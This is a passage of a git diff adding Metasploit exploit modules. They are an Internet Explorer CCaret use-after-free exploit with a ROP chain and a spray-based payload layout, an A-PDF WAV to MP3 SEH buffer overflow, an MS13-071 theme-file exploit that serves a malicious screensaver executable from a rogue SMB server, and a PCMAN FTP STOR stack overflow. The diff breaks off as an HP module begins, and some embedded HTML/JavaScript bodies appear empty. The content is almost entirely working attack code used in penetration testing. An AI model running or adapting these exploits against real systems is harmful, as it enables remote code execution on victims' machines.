' [msvcr71.dll] + # rop chain generated with mona.py + ].pack("V*") + end + + rop_payload = rop + rop_payload << esp_align + rop_payload << code + rop_payload << rand_text_alpha(12000) unless t['Rop'] == :msvcrt + + rop_payload + end + + def junk + rand_text_alpha(4).unpack("V")[0].to_i + end + + def nop + make_nops(4).unpack("V")[0].to_i + end + + def get_html(t, p) + js_pivot = Rex::Text.to_unescape([t['Pivot']].pack("V*")) + js_payload = Rex::Text.to_unescape(p) + js_align = Rex::Text.to_unescape([t['Align']].pack("V*")) + js_junk = Rex::Text.to_unescape([junk].pack("V*")) + + q_id = Rex::Text.rand_text_alpha(1) + + html = %Q| + + + + + + + + + + +
+ + + +
+ + + + + +
+ + + | + + html + end + + def on_request_uri(cli, request) + agent = request.headers['User-Agent'] + t = get_target(agent) + + if t + p = get_payload(t, cli) + html = get_html(t, p) + print_status("Sending exploit...") + send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'}) + else + print_error("Not a suitable target: #{agent}") + send_not_found(cli) + end + end +end diff --git a/modules/exploits/windows/browser/ms13_069_caret.rb b/modules/exploits/windows/browser/ms13_069_caret.rb new file mode 100644 index 0000000000..7efd3bcaf4 --- /dev/null +++ b/modules/exploits/windows/browser/ms13_069_caret.rb @@ -0,0 +1,274 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::HttpServer::HTML + + def initialize(info={}) + super(update_info(info, + 'Name' => "MS13-069 Microsoft Internet Explorer CCaret Use-After-Free", + 'Description' => %q{ + This module exploits a use-after-free vulnerability found in Internet Explorer, + specifically in how the browser handles the caret (text cursor) object. In IE's standards + mode, the caret handling's vulnerable state can be triggered by first setting up an + editable page with an input field, and then we can force the caret to update in an + onbeforeeditfocus event by setting the body's innerHTML property. In this event handler, + mshtml!CCaret::`vftable' can be freed using a document.write() function, however, + mshtml!CCaret::UpdateScreenCaret remains unaware of this change, and still uses the + same reference to the CCaret object. When the function tries to use this invalid reference + to call a virtual function at offset 0x2c, it finally results a crash. Precise control of + the freed object allows arbitrary code execution under the context of the user. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'corelanc0d3r', # Vuln discovery & PoC (@corelanc0d3r) + 'sinn3r' # Metasploit (@_sinn3r) + ], + 'References' => + [ + [ 'CVE', '2013-3205' ], + [ 'OSVDB', '97094' ], + [ 'MSB', 'MS13-069' ], + [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-217/' ] + ], + 'Platform' => 'win', + 'Targets' => + [ + [ 'Automatic', {} ], + [ + # Win 7 target on hold until we have a stable custom spray for it + 'IE 8 on Windows XP SP3', + { + 'Rop' => :msvcrt, + 'TargetAddr' => 0x1ec20101, # Allocs @ 1ec20020 (+0xe1 bytes to be null-byte free) - in ecx + 'PayloadAddr' => 0x1ec20105, # where the ROP payload begins + 'Pivot' => 0x77C4FA1A, # mov esp,ebx; pop ebx; ret + 'PopESP' => 0x77C37422, # pop esp; ret (pivot to a bigger space) + 'Align' => 0x77c4d801 # add esp, 0x2c; ret (ROP gadget to jmp over pivot gadget) + } + ] + ], + 'Payload' => + { + # Our property sprays dislike null bytes + 'BadChars' => "\x00", + # Fix the stack again before the payload is executed. + # If we don't do this, meterpreter fails due to a bad socket. + 'Prepend' => "\x64\xa1\x18\x00\x00\x00" + # mov eax, fs:[0x18] + "\x83\xC0\x08" + # add eax, byte 8 + "\x8b\x20" + # mov esp, [eax] + "\x81\xC4\x30\xF8\xFF\xFF", # add esp, -2000 + # Fall back to the previous allocation so we have plenty of space + # for the decoder to use + 'PrependEncoder' => "\x81\xc4\x80\xc7\xfe\xff" # add esp, -80000 + + }, + 'DefaultOptions' => + { + 'InitialAutoRunScript' => 'migrate -f' + }, + 'Privileged' => false, + 'DisclosureDate' => "Sep 10 2013", + 'DefaultTarget' => 0)) + end + + + def get_target(agent) + return target if target.name != 'Automatic' + + nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || '' + ie = agent.scan(/MSIE (\d)/).flatten[0] || '' + + ie_name = "IE #{ie}" + + case nt + when '5.1' + os_name = 'Windows XP SP3' + end + + targets.each do |t| + if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name)) + return t + end + end + + nil + end + + + def get_payload(t) + rop = + [ + 0x77c1e844, # POP EBP # RETN [msvcrt.dll] + 0x77c1e844, # skip 4 bytes [msvcrt.dll] + 0x77c4fa1c, # POP EBX # RETN [msvcrt.dll] + 0xffffffff, + 0x77c127e5, # INC EBX # RETN [msvcrt.dll] + 0x77c127e5, # INC EBX # RETN [msvcrt.dll] + 0x77c4e0da, # POP EAX # RETN [msvcrt.dll] + 0x2cfe1467, # put delta into eax (-> put 0x00001000 into edx) + 0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll] + 0x77c58fbc, # XCHG EAX,EDX # RETN [msvcrt.dll] + 0x77c34fcd, # POP EAX # RETN [msvcrt.dll] + 0x2cfe04a7, # put delta into eax (-> put 0x00000040 into ecx) + 0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll] + 0x77c14001, # XCHG EAX,ECX # RETN [msvcrt.dll] + 0x77c3048a, # POP EDI # RETN [msvcrt.dll] + 0x77c47a42, # RETN (ROP NOP) [msvcrt.dll] + 0x77c46efb, # POP ESI # RETN [msvcrt.dll] + 0x77c2aacc, # JMP [EAX] [msvcrt.dll] + 0x77c3b860, # POP EAX # RETN [msvcrt.dll] + 0x77c1110c, # ptr to &VirtualAlloc() [IAT msvcrt.dll] + 0x77c12df9, # PUSHAD # RETN [msvcrt.dll] + 0x77c35459 # ptr to 'push esp # ret ' [msvcrt.dll] + ].pack("V*") + + # This data should appear at the beginning of the target address (see TargetAddr in metadata) + p = '' + p << rand_text_alpha(225) # Padding to avoid null byte addr + p << [t['TargetAddr']].pack("V*") # For mov ecx,dword ptr [eax] + p << [t['Align']].pack("V*") * ( (0x2c-4)/4 ) # 0x2c bytes to pivot (-4 for TargetAddr) + p << [t['Pivot']].pack("V*") # Stack pivot + p << rand_text_alpha(4) # Padding for the add esp,0x2c alignment + p << rop # ROP chain + p << payload.encoded # Actual payload + + return p + end + + + # + # Notes: + # * A custom spray is used (see function putPayload), because document.write() keeps freeing + # our other sprays like js_property_spray or the heaplib + substring approach. This spray + # seems unstable for Win 7, we'll have to invest more time on that. + # * Object size = 0x30 + # + def get_html(t) + js_payload_addr = ::Rex::Text.to_unescape([t['PayloadAddr']].pack("V*")) + js_target_addr = ::Rex::Text.to_unescape([t['TargetAddr']].pack("V*")) + js_pop_esp = ::Rex::Text.to_unescape([t['PopESP']].pack("V*")) + js_payload = ::Rex::Text.to_unescape(get_payload(t)) + js_rand_dword = ::Rex::Text.to_unescape(rand_text_alpha(4)) + + html = %Q| + + + + + + + + | + + html.gsub(/^\x20\x20\x20\x20/, '') + end + + + def on_request_uri(cli, request) + agent = request.headers['User-Agent'] + t = get_target(agent) + + unless t + print_error("Not a suitable target: #{agent}") + send_not_found(cli) + return + end + + html = get_html(t) + + print_status("Sending exploit...") + send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'}) + end + +end + +=begin + +In mshtml!CCaret::UpdateScreenCaret function: +.text:63620F82 mov ecx, [eax] ; crash +.text:63620F84 lea edx, [esp+110h+var_A4] +.text:63620F88 push edx +.text:63620F89 push eax +.text:63620F8A call dword ptr [ecx+2Ch] + +=end \ No newline at end of file diff --git a/modules/exploits/windows/fileformat/a-pdf_wav_to_mp3.rb b/modules/exploits/windows/fileformat/a-pdf_wav_to_mp3.rb index f9b8b3843d..64f5bbd398 100644 --- a/modules/exploits/windows/fileformat/a-pdf_wav_to_mp3.rb +++ b/modules/exploits/windows/fileformat/a-pdf_wav_to_mp3.rb @@ -12,6 +12,8 @@ class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::FILEFORMAT include Msf::Exploit::Remote::Seh + include Msf::Module::Deprecated + deprecated Date.new(2013, 10, 2), "exploit/windows/fileformat/a_pdf_wav_to_mp3" def initialize(info = {}) super(update_info(info, diff --git a/modules/exploits/windows/fileformat/a_pdf_wav_to_mp3.rb b/modules/exploits/windows/fileformat/a_pdf_wav_to_mp3.rb new file mode 100644 index 0000000000..f9b8b3843d --- /dev/null +++ b/modules/exploits/windows/fileformat/a_pdf_wav_to_mp3.rb @@ -0,0 +1,75 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::FILEFORMAT + include Msf::Exploit::Remote::Seh + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'A-PDF WAV to MP3 v1.0.0 Buffer Overflow', + 'Description' => %q{ + This module exploits a buffer overflow in A-PDF WAV to MP3 v1.0.0. When + the application is used to import a specially crafted m3u file, a buffer overflow occurs + allowing arbitrary code execution. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'd4rk-h4ck3r', # Original Exploit + 'Dr_IDE', # SEH Exploit + 'dookie' # MSF Module + ], + 'References' => + [ + [ 'OSVDB', '67241' ], + [ 'EDB', '14676' ], + [ 'EDB', '14681' ] + ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'seh', + 'DisablePayloadHandler' => 'true', + }, + 'Payload' => + { + 'Space' => 600, + 'BadChars' => "\x00\x0a", + 'StackAdjustment' => -3500 + }, + 'Platform' => 'win', + 'Targets' => + [ + [ 'Windows Universal', { 'Ret' => 0x0047265c, 'Offset' => 4132 } ], # p/p/r in wavtomp3.exe + ], + 'Privileged' => false, + 'DisclosureDate' => 'Aug 17 2010', + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('FILENAME', [ false, 'The file name.', 'msf.wav']), + ], self.class) + + end + + def exploit + + sploit = rand_text_alpha_upper(target['Offset']) + sploit << generate_seh_payload(target.ret) + + print_status("Creating '#{datastore['FILENAME']}' file ...") + + file_create(sploit) + + end + +end diff --git a/modules/exploits/windows/fileformat/ms13_071_theme.rb b/modules/exploits/windows/fileformat/ms13_071_theme.rb new file mode 100644 index 0000000000..56d4087df5 --- /dev/null +++ b/modules/exploits/windows/fileformat/ms13_071_theme.rb @@ -0,0 +1,434 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::FILEFORMAT + include Msf::Exploit::EXE + include Msf::Exploit::Remote::SMBServer + + def initialize(info={}) + super(update_info(info, + 'Name' => "MS13-071 Microsoft Windows Theme File Handling Arbitrary Code Execution", + 'Description' => %q{ + This module exploits a vulnerability mainly affecting Microsoft Windows XP and Windows + 2003. The vulnerability exists in the handling of the Screen Saver path, in the [boot] + section. An arbitrary path can be used as screen saver, including a remote SMB resource, + which allows for remote code execution when a malicious .theme file is opened, and the + "Screen Saver" tab is viewed. The code execution is also triggered if the victim installs + the malicious theme and stays away from the computer, when Windows tries to display the + screensaver. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Eduardo Prado', # Vulnerability discovery + 'juan vazquez' # Metasploit module + ], + 'References' => + [ + ['CVE', '2013-0810'], + ['OSVDB', '97136'], + ['MSB', 'MS13-071'], + ['BID', '62176'], + ['URL', 'http://www.verisigninc.com/en_US/products-and-services/network-intelligence-availability/idefense/public-vulnerability-reports/articles/index.xhtml?id=1040'] + ], + 'Payload' => + { + 'Space' => 2048, + 'DisableNops' => true + }, + 'DefaultOptions' => + { + 'DisablePayloadHandler' => 'false' + }, + 'Platform' => 'win', + 'Targets' => + [ + ['Windows XP SP3 / Windows 2003 SP2', {}], + ], + 'Privileged' => false, + 'DisclosureDate' => "Sep 10 2013", + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('FILENAME', [true, 'The theme file', 'msf.theme']), + OptString.new('UNCPATH', [ false, 'Override the UNC path to use (Ex: \\\\192.168.1.1\\share\\exploit.scr)' ]) + ], self.class) + end + + def exploit + + if (datastore['UNCPATH']) + @unc = datastore['UNCPATH'] + print_status("Remember to share the malicious EXE payload as #{@unc}") + else + print_status("Generating our malicious executable...") + @exe = generate_payload_exe + my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST'] + @share = rand_text_alpha(5 + rand(5)) + @scr_file = "#{rand_text_alpha(5 + rand(5))}.scr" + @hi, @lo = UTILS.time_unix_to_smb(Time.now.to_i) + @unc = "\\\\#{my_host}\\#{@share}\\#{@scr_file}" + end + + print_status("Creating '#{datastore['FILENAME']}' file ...") + # Default Windows XP / 2003 theme modified + theme = <<-EOF +; Copyright (c) Microsoft Corp. 1995-2001 + +[Theme] +DisplayName=@themeui.dll,-2016 + +; My Computer +[CLSID\\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\\DefaultIcon] +DefaultValue=%WinDir%explorer.exe,0 + +; My Documents +[CLSID\\{450D8FBA-AD25-11D0-98A8-0800361B1103}\\DefaultIcon] +DefaultValue=%WinDir%SYSTEM32\\mydocs.dll,0 + +; My Network Places +[CLSID\\{208D2C60-3AEA-1069-A2D7-08002B30309D}\\DefaultIcon] +DefaultValue=%WinDir%SYSTEM32\\shell32.dll,17 + +; Recycle Bin +[CLSID\\{645FF040-5081-101B-9F08-00AA002F954E}\\DefaultIcon] +full=%WinDir%SYSTEM32\\shell32.dll,32 +empty=%WinDir%SYSTEM32\\shell32.dll,31 + +[Control Panel\\Desktop] +Wallpaper= +TileWallpaper=0 +WallpaperStyle=2 +Pattern= +ScreenSaveActive=0 + +[boot] +SCRNSAVE.EXE=#{@unc} + +[MasterThemeSelector] +MTSM=DABJDKT + EOF + file_create(theme) + print_good("Let your victim open #{datastore['FILENAME']}") + + if not datastore['UNCPATH'] + print_status("Ready to deliver your payload on #{@unc}") + super + end + + end + + # TODO: these smb_* methods should be moved up to the SMBServer mixin + # development and test on progress + + def smb_cmd_dispatch(cmd, c, buff) + smb = @state[c] + vprint_status("Received command #{cmd} from #{smb[:name]}") + + pkt = CONST::SMB_BASE_PKT.make_struct + pkt.from_s(buff) + #Record the IDs + smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID'] + smb[:user_id] = pkt['Payload']['SMB'].v['UserID'] + smb[:tree_id] = pkt['Payload']['SMB'].v['TreeID'] + smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID'] + + case cmd + when CONST::SMB_COM_NEGOTIATE + smb_cmd_negotiate(c, buff) + when CONST::SMB_COM_SESSION_SETUP_ANDX + wordcount = pkt['Payload']['SMB'].v['WordCount'] + if wordcount == 0x0D # It's the case for Share Security Mode sessions + smb_cmd_session_setup(c, buff) + else + vprint_status("SMB Capture - #{smb[:ip]} Unknown SMB_COM_SESSION_SETUP_ANDX request type , ignoring... ") + smb_error(cmd, c, CONST::SMB_STATUS_SUCCESS) + end + when CONST::SMB_COM_TRANSACTION2 + smb_cmd_trans(c, buff) + when CONST::SMB_COM_NT_CREATE_ANDX + smb_cmd_create(c, buff) + when CONST::SMB_COM_READ_ANDX + smb_cmd_read(c, buff) + else + vprint_status("SMB Capture - Ignoring request from #{smb[:name]} - #{smb[:ip]} (#{cmd})") + smb_error(cmd, c, CONST::SMB_STATUS_SUCCESS) + end + end + + + def smb_cmd_negotiate(c, buff) + pkt = CONST::SMB_NEG_PKT.make_struct + pkt.from_s(buff) + + dialects = pkt['Payload'].v['Payload'].gsub(/\x00/, '').split(/\x02/).grep(/^\w+/) + + dialect = dialects.index("NT LM 0.12") || dialects.length-1 + + pkt = CONST::SMB_NEG_RES_NT_PKT.make_struct + smb_set_defaults(c, pkt) + + time_hi, time_lo = UTILS.time_unix_to_smb(Time.now.to_i) + + pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NEGOTIATE + pkt['Payload']['SMB'].v['Flags1'] = 0x88 + pkt['Payload']['SMB'].v['Flags2'] = 0xc001 + pkt['Payload']['SMB'].v['WordCount'] = 17 + pkt['Payload'].v['Dialect'] = dialect + pkt['Payload'].v['SecurityMode'] = 2 # SHARE Security Mode + pkt['Payload'].v['MaxMPX'] = 50 + pkt['Payload'].v['MaxVCS'] = 1 + pkt['Payload'].v['MaxBuff'] = 4356 + pkt['Payload'].v['MaxRaw'] = 65536 + pkt['Payload'].v['SystemTimeLow'] = time_lo + pkt['Payload'].v['SystemTimeHigh'] = time_hi + pkt['Payload'].v['ServerTimeZone'] = 0x0 + pkt['Payload'].v['SessionKey'] = 0 + pkt['Payload'].v['Capabilities'] = 0x80f3fd + pkt['Payload'].v['KeyLength'] = 8 + pkt['Payload'].v['Payload'] = Rex::Text.rand_text_hex(8) + + c.put(pkt.to_s) + end + + def smb_cmd_session_setup(c, buff) + + pkt = CONST::SMB_SETUP_RES_PKT.make_struct + smb_set_defaults(c, pkt) + + pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX + pkt['Payload']['SMB'].v['Flags1'] = 0x88 + pkt['Payload']['SMB'].v['Flags2'] = 0xc001 + pkt['Payload']['SMB'].v['WordCount'] = 3 + pkt['Payload'].v['AndX'] = 0x75 + pkt['Payload'].v['Reserved1'] = 00 + pkt['Payload'].v['AndXOffset'] = 96 + pkt['Payload'].v['Action'] = 0x1 # Logged in as Guest + pkt['Payload'].v['Payload'] = + Rex::Text.to_unicode("Unix", 'utf-16be') + "\x00\x00" + # Native OS # Samba signature + Rex::Text.to_unicode("Samba 3.4.7", 'utf-16be') + "\x00\x00" + # Native LAN Manager # Samba signature + Rex::Text.to_unicode("WORKGROUP", 'utf-16be') + "\x00\x00\x00" + # Primary DOMAIN # Samba signature + tree_connect_response = "" + tree_connect_response << [7].pack("C") # Tree Connect Response : WordCount + tree_connect_response << [0xff].pack("C") # Tree Connect Response : AndXCommand + tree_connect_response << [0].pack("C") # Tree Connect Response : Reserved + tree_connect_response << [0].pack("v") # Tree Connect Response : AndXOffset + tree_connect_response << [0x1].pack("v") # Tree Connect Response : Optional Support + tree_connect_response << [0xa9].pack("v") # Tree Connect Response : Word Parameter + tree_connect_response << [0x12].pack("v") # Tree Connect Response : Word Parameter + tree_connect_response << [0].pack("v") # Tree Connect Response : Word Parameter + tree_connect_response << [0].pack("v") # Tree Connect Response : Word Parameter + tree_connect_response << [13].pack("v") # Tree Connect Response : ByteCount + tree_connect_response << "A:\x00" # Service + tree_connect_response << "#{Rex::Text.to_unicode("NTFS")}\x00\x00" # Extra byte parameters + # Fix the Netbios Session Service Message Length + # to have into account the tree_connect_response, + # need to do this because there isn't support for + # AndX still + my_pkt = pkt.to_s + tree_connect_response + original_length = my_pkt[2, 2].unpack("n").first + original_length = original_length + tree_connect_response.length + my_pkt[2, 2] = [original_length].pack("n") + c.put(my_pkt) + end + + def smb_cmd_create(c, buff) + pkt = CONST::SMB_CREATE_PKT.make_struct + pkt.from_s(buff) + + if pkt['Payload'].v['Payload'] =~ /#{Rex::Text.to_unicode("#{@scr_file}\x00")}/ + pkt = CONST::SMB_CREATE_RES_PKT.make_struct + smb_set_defaults(c, pkt) + pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_CREATE_ANDX + pkt['Payload']['SMB'].v['Flags1'] = 0x88 + pkt['Payload']['SMB'].v['Flags2'] = 0xc001 + pkt['Payload']['SMB'].v['WordCount'] = 42 + pkt['Payload'].v['AndX'] = 0xff # no further commands + pkt['Payload'].v['OpLock'] = 0x2 + # No need to track fid here, we're just offering one file + pkt['Payload'].v['FileID'] = rand(0x7fff) + 1 # To avoid fid = 0 + pkt['Payload'].v['Action'] = 0x1 # The file existed and was opened + pkt['Payload'].v['CreateTimeLow'] = @lo + pkt['Payload'].v['CreateTimeHigh'] = @hi + pkt['Payload'].v['AccessTimeLow'] = @lo + pkt['Payload'].v['AccessTimeHigh'] = @hi + pkt['Payload'].v['WriteTimeLow'] = @lo + pkt['Payload'].v['WriteTimeHigh'] = @hi + pkt['Payload'].v['ChangeTimeLow'] = @lo + pkt['Payload'].v['ChangeTimeHigh'] = @hi + pkt['Payload'].v['Attributes'] = 0x80 # Ordinary file + pkt['Payload'].v['AllocLow'] = 0x100000 + pkt['Payload'].v['AllocHigh'] = 0 + pkt['Payload'].v['EOFLow'] = @exe.length + pkt['Payload'].v['EOFHigh'] = 0 + pkt['Payload'].v['FileType'] = 0 + pkt['Payload'].v['IPCState'] = 0x7 + pkt['Payload'].v['IsDirectory'] = 0 + c.put(pkt.to_s) + else + pkt = CONST::SMB_CREATE_RES_PKT.make_struct + smb_set_defaults(c, pkt) + pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_CREATE_ANDX + pkt['Payload']['SMB'].v['ErrorClass'] = 0xC0000034 # OBJECT_NAME_NOT_FOUND + pkt['Payload']['SMB'].v['Flags1'] = 0x88 + pkt['Payload']['SMB'].v['Flags2'] = 0xc001 + c.put(pkt.to_s) + end + + end + + def smb_cmd_read(c, buff) + pkt = CONST::SMB_READ_PKT.make_struct + pkt.from_s(buff) + + offset = pkt['Payload'].v['Offset'] + length = pkt['Payload'].v['MaxCountLow'] + + pkt = CONST::SMB_READ_RES_PKT.make_struct + smb_set_defaults(c, pkt) + + pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_READ_ANDX + pkt['Payload']['SMB'].v['Flags1'] = 0x88 + pkt['Payload']['SMB'].v['Flags2'] = 0xc001 + pkt['Payload']['SMB'].v['WordCount'] = 12 + pkt['Payload'].v['AndX'] = 0xff # no more commands + pkt['Payload'].v['Remaining'] = 0xffff + pkt['Payload'].v['DataLenLow'] = length + pkt['Payload'].v['DataOffset'] = 59 + pkt['Payload'].v['DataLenHigh'] = 0 + pkt['Payload'].v['Reserved3'] = 0 + pkt['Payload'].v['Reserved4'] = 6 + pkt['Payload'].v['ByteCount'] = length + pkt['Payload'].v['Payload'] = @exe[offset, length] + + c.put(pkt.to_s) + end + + def smb_cmd_trans(c, buff) + pkt = CONST::SMB_TRANS2_PKT.make_struct + pkt.from_s(buff) + + sub_command = pkt['Payload'].v['SetupData'].unpack("v").first + case sub_command + when 0x5 # QUERY_PATH_INFO + smb_cmd_trans_query_path_info(c, buff) + when 0x1 # FIND_FIRST2 + smb_cmd_trans_find_first2(c, buff) + else + pkt = CONST::SMB_TRANS_RES_PKT.make_struct + smb_set_defaults(c, pkt) + pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2 + pkt['Payload']['SMB'].v['Flags1'] = 0x88 + pkt['Payload']['SMB'].v['Flags2'] = 0xc001 + pkt['Payload']['SMB'].v['ErrorClass'] = 0xc0000225 # NT_STATUS_NOT_FOUND + c.put(pkt.to_s) + end + end + + def smb_cmd_trans_query_path_info(c, buff) + pkt = CONST::SMB_TRANS2_PKT.make_struct + pkt.from_s(buff) + + if pkt['Payload'].v['SetupData'].length < 16 + # if QUERY_PATH_INFO_PARAMETERS doesn't include a file name, + # return a Directory answer + pkt = CONST::SMB_TRANS_RES_PKT.make_struct + smb_set_defaults(c, pkt) + + pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2 + pkt['Payload']['SMB'].v['Flags1'] = 0x88 + pkt['Payload']['SMB'].v['Flags2'] = 0xc001 + pkt['Payload']['SMB'].v['WordCount'] = 10 + pkt['Payload'].v['ParamCountTotal'] = 2 + pkt['Payload'].v['DataCountTotal'] = 40 + pkt['Payload'].v['ParamCount'] = 2 + pkt['Payload'].v['ParamOffset'] = 56 + pkt['Payload'].v['DataCount'] = 40 + pkt['Payload'].v['DataOffset'] = 60 + pkt['Payload'].v['Payload'] = + "\x00" + # Padding + # QUERY_PATH_INFO Parameters + "\x00\x00" + # EA Error Offset + "\x00\x00" + # Padding + #QUERY_PATH_INFO Data + [@lo, @hi].pack("VV") + # Created + [@lo, @hi].pack("VV") + # Last Access + [@lo, @hi].pack("VV") + # Last Write + [@lo, @hi].pack("VV") + # Change + "\x10\x00\x00\x00" + # File attributes => directory + "\x00\x00\x00\x00" # Unknown + c.put(pkt.to_s) + + else + # if QUERY_PATH_INFO_PARAMETERS includes a file name, + # returns an object name not found error + pkt = CONST::SMB_TRANS_RES_PKT.make_struct + smb_set_defaults(c, pkt) + + pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2 + pkt['Payload']['SMB'].v['ErrorClass'] = 0xC0000034 #OBJECT_NAME_NOT_FOUND + pkt['Payload']['SMB'].v['Flags1'] = 0x88 + pkt['Payload']['SMB'].v['Flags2'] = 0xc001 + c.put(pkt.to_s) + + end + end + + def smb_cmd_trans_find_first2(c, buff) + + pkt = CONST::SMB_TRANS_RES_PKT.make_struct + smb_set_defaults(c, pkt) + + file_name = Rex::Text.to_unicode(@scr_file) + + pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2 + pkt['Payload']['SMB'].v['Flags1'] = 0x88 + pkt['Payload']['SMB'].v['Flags2'] = 0xc001 + pkt['Payload']['SMB'].v['WordCount'] = 10 + pkt['Payload'].v['ParamCountTotal'] = 10 + pkt['Payload'].v['DataCountTotal'] = 94 + file_name.length + pkt['Payload'].v['ParamCount'] = 10 + pkt['Payload'].v['ParamOffset'] = 56 + pkt['Payload'].v['DataCount'] = 94 + file_name.length + pkt['Payload'].v['DataOffset'] = 68 + pkt['Payload'].v['Payload'] = + "\x00" + # Padding + # FIND_FIRST2 Parameters + "\xfd\xff" + # Search ID + "\x01\x00" + # Search count + "\x01\x00" + # End Of Search + "\x00\x00" + # EA Error Offset + "\x00\x00" + # Last Name Offset + "\x00\x00" + # Padding + #QUERY_PATH_INFO Data + [94 + file_name.length].pack("V") + # Next Entry Offset + "\x00\x00\x00\x00" + # File Index + [@lo, @hi].pack("VV") + # Created + [@lo, @hi].pack("VV") + # Last Access + [@lo, @hi].pack("VV") + # Last Write + [@lo, @hi].pack("VV") + # Change + [@exe.length].pack("V") + "\x00\x00\x00\x00" + # End Of File + "\x00\x00\x10\x00\x00\x00\x00\x00" + # Allocation size + "\x80\x00\x00\x00" + # File attributes => directory + [file_name.length].pack("V") + # File name len + "\x00\x00\x00\x00" + # EA List Lenght + "\x00" + # Short file lenght + "\x00" + # Reserved + ("\x00" * 24) + + file_name + + c.put(pkt.to_s) + end + +end + diff --git a/modules/exploits/windows/ftp/pcman_stor.rb b/modules/exploits/windows/ftp/pcman_stor.rb new file mode 100644 index 0000000000..211a1bf2b8 --- /dev/null +++ b/modules/exploits/windows/ftp/pcman_stor.rb @@ -0,0 +1,97 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::Ftp + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'PCMAN FTP Server Post-Authentication STOR Command Stack Buffer Overflow', + 'Description' => %q{ + This module exploits a buffer overflow vulnerability found in the STOR command of the + PCMAN FTP v2.07 Server when the "/../" parameters are also sent to the server. Please + note authentication is required in order to trigger the vulnerability. The overflowing + string will also be seen on the FTP server log console. + }, + 'Author' => + [ + 'Christian (Polunchis) Ramirez', # Initial Discovery + 'Rick (nanotechz9l) Flores' # Metasploit Module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'OSVDB', '94624'], + [ 'EDB', '27703'] + ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'process', + 'VERBOSE' => true + }, + 'Payload' => + { + 'Space' => 1000, + 'BadChars' => "\x00\xff\x0a\x0d\x20\x40", + }, + 'Platform' => 'win', + 'Targets' => + [ + [ 'Windows XP SP3 English', + { + 'Ret' => 0x77c35459, # push esp ret C:\WINDOWS\system32\msvcrt.dll + 'Offset' => 2011 + } + ], + ], + 'DisclosureDate' => 'Jun 27 2013', + 'DefaultTarget' => 0)) + end + + def check + c = connect_login + disconnect + + if c and banner =~ /220 PCMan's FTP Server 2\.0/ + # Auth is required to exploit + print_status("Able to authenticate, and banner shows the vulnerable version") + return Exploit::CheckCode::Vulnerable + elsif not c and banner =~ /220 PCMan's FTP Server 2\.0/ + print_status("Unable to authenticate, but banner shows the vulnerable version") + # Auth failed, but based on version maybe the target is vulnerable + return Exploit::CheckCode::Appears + end + + return Exploit::CheckCode::Safe + end + + + def exploit + c = connect_login + + # Auth failed. The mixin should show the error, so we just bail. + return unless c + + # Username is part of the overflowing string, so we need to account for that length + user_length = datastore['FTPUSER'].to_s.length + + print_status("Trying victim #{target.name}...") + sploit = rand_text_alpha(target['Offset'] - user_length) + sploit << [target.ret].pack('V') + sploit << make_nops(4) + sploit << payload.encoded + sploit << rand_text_alpha(sploit.length) + + send_cmd( ["STOR", "/../" + sploit], false ) + disconnect + end + +end diff --git a/modules/exploits/windows/http/hp_pcm_snac_update_certificates.rb b/modules/exploits/windows/http/hp_pcm_snac_update_certificates.rb new file mode 100644 index 0000000000..bf1dd3e84d --- /dev/null +++ b/modules/exploits/windows/http/hp_pcm_snac_update_certificates.rb @@ -0,0 +1,140 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + HttpFingerprint = { 